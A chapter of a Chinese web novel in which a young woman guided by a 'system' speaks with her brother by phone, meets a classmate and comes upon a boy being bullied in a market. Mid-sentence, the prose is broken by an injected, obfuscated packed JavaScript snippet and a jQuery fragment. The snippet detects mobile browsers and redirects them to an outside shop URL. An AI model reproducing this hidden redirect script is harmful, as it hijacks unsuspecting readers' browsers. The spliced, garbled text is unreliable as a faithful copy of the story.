林旧第二天出门前照镜子时,才发现额角肿起一个不体面的包。
她把刘海扎上去,那片红肿便完整地露出来,衬得额头有些夸张的饱满,有几分滑稽。
她抿了抿嘴,把头发重新散下来,盖住额头。
一转身,赵柳和王武已穿戴整齐,一前一后候在门廊边,要跟她一起出门。
“不用跟着我。”林旧说着,手已搭在了门把上。
“这是保镖的职责。”王武站在赵柳身后半步开口。
林旧没接话,后背靠向门框,低头在手机屏幕上划动,调出雇佣平台的界面。
“你知道的,这个对我们没什么用。”赵柳公事公办道,“优先级上,我们只听从大老板的直接指令。”
林旧将手机搁在玄关的矮柜上。
她垂下眼,身侧的手无声地攥紧,又松开,试了试力气,不知道一口气撂倒两个保镖的概率大不大。
赵柳看到林旧捏成拳的手,眼皮跳了跳:“先别急着动手。”
她抬头看了眼玄关处的时钟,正好九点整,手机按时响起。
“先接个电话吧。”赵柳递上自己的手机,来电显示上标注的是来自瑞士的陌生电话。
林旧盯着那屏幕上的号码,有一瞬间忘了呼吸。
刚才还在试拳头力气的人,现在好像没有接电话的勇气。
“那些事,”她抬眼,盯住赵柳,“你没说吧?”
林旧指的是她因为抄袭风波被退学的事。
赵柳领会,摇头:“我只汇报了定位器。”
林旧回房间,关上门。
电话被接起。
两边都陷入安静。
“信号断了吗,怎么没声?”林逐鹿的声音终于传来。
“没。”林旧挤出一个字,喉间发紧。
“今天要出门,衣服穿得多不多?”林逐鹿随口一提,问得自然。
“多。”
对面传来开窗的声音。
“赵柳说你今天要去海安,和同学吗?”林逐鹿哄着闹别扭后,惜字如金的妹妹。
“嗯。”林旧垂下头,无意识地扣弄指甲,努力压住鼻腔的酸涩。
“逛完可以去海安旧街的那个菜市场看看,你爱吃那里的豆腐鱼。”林逐鹿的语气更软,和她聊一些普通的家常,“或者让王姨做给你吃,我让她去那边学过了。”
“我不喜欢王姨做的菜。”林旧生硬地回答。
对面短暂的沉默了一下,随即传来林逐鹿好脾气的应答:“好吧,那我让她先休息一阵,这段时间让赵柳先做饭?”
“我不要他们跟着我。”林旧执拗地说。
风声从听筒那端涌进,带来一阵杂音。
林逐鹿似乎叹了口气,半妥协道:“那就只让他们当司机,好不好?”
林旧没立刻答应,她听见那边持续的风声:“你那边风很大。”
“在窗边,通通风。”林逐鹿答得轻快。
“少抽点烟。”林旧低声道。
“遵命,妹妹大人。”林逐鹿笑着应下,又想起什么,“你的衣柜最上层,靠左边的位置……应该有一条白色的羊绒围巾。”
“做什么?”
“我猜你今天只穿了一件黑色的毛衣。”林逐鹿说,“海市风也很大,出门戴上吧。”
林旧握紧了手机,语气闷闷的:“你自己呢?”
“我这儿啊,暖和得很。”林逐鹿的笑意传来,暖融融的,“好啦妹妹,我得挂了。”
“嗯。”林旧应道。
“妹妹,”挂断前,林逐鹿的声音忽然又贴近了些,轻轻的,像羽毛拂过耳畔,“下次想我了,直接告诉我。”
“……我没想。”林旧下意识反驳。
电话那头传来一声极轻的笑。
“可我很想你。”
忙音响起。
林旧缓缓放下手机,在床边坐下。
最后,她还是起身,走到衣柜前,拉开了最上层的门。在靠左的角落里,有一条柔软的白色羊绒围巾。她伸手轻轻摸了摸,将它拿了出来。
林旧抵达和江柏枝约定的那家甜品店时,比约定时间晚了半个小时。
江柏枝正托着腮帮子看向门口,眼神原本有些放空,在捕捉到她身影的时候,倏地亮了。
林旧在他对面坐下,看了眼桌上满满当当的甜品,怀疑江柏枝把甜品店的招牌全点了一遍。
“来得正好,刚刚上齐。”江柏枝把其中一杯拿铁推到她面前,“现在温度刚好。”
窗边的阳光落进来,把奶油照得有点化。
从早晨到临近中午,江柏枝几乎有问必答。林旧问什么,他就讲什么,尽管话题的中心围绕的是陈延新。
林旧认真的听着,抓取有用的信息,思绪跟着他的话一点点拼凑。
话题渐歇。
江柏枝用叉子小心戳了戳面前的奥利奥芝士蛋糕。他抬起头,试探着问:“那个……快到饭点了。要不要一起吃个饭?附近有家不错的店,吃完还可以逛逛,消化一下。”
他指了指满桌几乎未动的甜点,笑得有些不好意思。
林旧摇了摇头:“不了。”
她抬手示意服务生结账,过了一会儿又补充道:“今天谢谢你。”
江柏枝坐在原处,看着她拿起包。他忽然开口,拽住她的脚步。
“林旧。”
她停下,回过头。
“你为什么,对陈延新这么好奇?”
为了任务,林旧在心里想。
这个问题林旧不太能,只留下一句官方的话。
“以后需要我帮忙和我说。”
林旧离开甜品店后和系统复盘:“今天早上怎么没有弹出来任务检测?”
“我的检测不会出错的。”系统沉思几秒,“要不我们再审一下题目吧。”
林旧也后知后觉意识到:“藏了很久的秘密,怎么会被别人知道?”
海安商街分为新街与旧街两片。
新街是这两年才开发起来的,设施齐全,街道整洁;旧街则是老城区,建筑低矮,街巷曲折。
林旧从前就住这一带,对这里还算熟悉。
她穿的黑色高领毛衣衬得她肤色愈白,柔软的白色围巾松垮地搭在颈间,和周围脏乱的环境格格不入。
老城区的菜市场,是这一片最邋遢的环境——街道窄,两侧挤满了低矮的铺面。鱼腥味,烂菜叶味混在一起,发酵成一种难以形容的臭味。
林旧避开地上的污水,凭着记忆往里走,她是来买豆腐鱼的。
以前林逐鹿也很喜欢给她买,林逐鹿觉得吃鱼补脑子,对身体好。再者,她在那家店兼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032846|194556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
职过,后厨是整个旧街最干净的店,林旧吃着她放心。
穿过拥挤的人流,走向水产区,拐过一个堆满泡沫箱的拐角。
然后,她看到了陈镜。
陈镜没注意到她,保镖在前面为他开道,引着他往另一条稍宽的路走去。
林旧停下脚步。
直觉告诉她最好别再走进去,这个鱼也不是非得今天买。
菜市场最深处,堆满烂菜叶和污水的窄巷里。
三个穿着邋遢又流里流气的男人围着陈延新,其中一个染了黄毛的,正揪着他的衣领,把他往墙角的泥水坑里按。
“陈少爷今天怎么亲自来买菜啊?”黄毛脸油腻腻的,头发也一缕一缕像抹了油一样,“佣人呢?哦对,听说你爹死了,妈不要你了,哪儿来的佣人?”
陈延新没说话。
他看着地上,自己的黑色书包掉在泥水里,里面的小吃甜品散了一地,被脏水浸透。
“跟你说话呢!”另一个男生踹了他小腿一脚。
陈延新踉跄了一下,膝盖磕在水泥地上,发出一声闷响。
但他还是没出声,像是察觉到有人在看他,他慢慢抬起头。
陈延新的目光穿过那三个人的肩膀,看见了巷口的林旧。
“还他妈装清高?”黄毛被他的沉默激怒了,揪着他的头发往泥水里按,“老子最烦你这副死样子。”
“怎么,以为转学了就没人认识你了?你逃不掉的。”
陈延新的脸被按进泥水里。
黑色的、散发着恶臭的泥浆淹没了他的口鼻,他挣扎了一下,又被更用力地按下去。
泥水咕嘟咕嘟地冒着泡。
林旧站在原地,手指在口袋里慢慢收紧。
她看着,冷静地,客观地看着,这本来就是一场与自己无关的戏码。
“你这次怎么不尖叫了?”林旧分散自己的注意,问系统。
系统抽了一口电子烟,觉得自己成长了:“他那个时候在受惩罚,而且头一回做任务我太急躁了。”
“他现在能说话也能听见,咱们不用插手也可以。”系统细细琢磨道,“还是说,你想帮他?”
“我没打算管。”林旧否认。
陈延新的事,陈延新的麻烦,陈延新的人生——都和她没关系。
她只是来买豆腐鱼的。
黄毛把陈延新拎起来,让他喘了口气,又按下去。反复几次,像猫玩弄耗子。
陈延新不再挣扎了。他任由自己被按进泥水里,只是在偶尔被拎起来的间隙,固执地转过头,看向巷口的方向。
看向林旧。
那双总是蒙着水汽的眼睛,此刻被泥浆糊住了。
林旧还是能感觉到,他在看她。
他不求救也不哀求,又偏偏用这种偏执的眼神看她。
林旧搞不明白,自己到底为什么要走进来。
不知道第几次被按下去时,陈延新呛了水,咳嗽起来,泥浆从嘴角溢出来,顺着下巴往下淌。
黄毛终于被逗笑了,尖细的笑声在窄巷里回荡。
林旧握紧的手渐渐松开。
她脱下围巾,随手搭在旁边一个废弃的菜摊上。
他笑得实在太难听。
影响到她心情了。
所以,揍他一顿,也在情理之中。